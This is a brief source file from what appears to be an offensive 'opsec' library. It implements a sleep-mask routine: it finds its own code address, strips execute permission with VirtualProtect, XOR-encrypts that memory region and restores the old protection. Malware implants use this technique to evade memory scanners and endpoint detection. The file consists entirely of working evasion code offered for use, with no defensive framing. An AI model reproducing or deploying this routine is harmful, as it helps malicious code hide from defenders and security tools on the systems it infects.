entropykit-entropia/stdlib/opsec/sleep_mask.etpy

fn opsec_xor_region(addr: u64, length: u64, key: u8) -> void {
    var p: char* = (char*)addr;
    var i: u64 = 0;
    while i < length {
        p[i] = p[i] ^ key;
        i = i + 1;
    }
    ret;
}

fn opsec_anchor() -> u64 {
    var addr: u64;
    asm {
        lea rax, opsec_anchor
        mov %addr, rax
    }
    ret addr;
}

fn opsec_set_protect(addr: u64, length: u64, new_protect: u32, old_out: u32*) -> bool {
    var ok: int = Kernel32.VirtualProtect(
        (void*)addr, length, new_protect, old_out);
    if ok == 0 { ret false; }
    ret true;
}

fn opsec_mask_region(addr: u64, length: u64, key: u8) -> bool {
    var old: u32 = 0;
    // PAGE_READWRITE = 0x04 - strips execute, allows write.
    if opsec_set_protect(addr, length, 0x04, &old) == false {
        ret false;
    }
    opsec_xor_region(addr, length, key);
    var dummy: u32 = 0;
    // Restore. old was set by the first call.
    opsec_set_protect(addr, length, old, &dummy);
    ret true;
}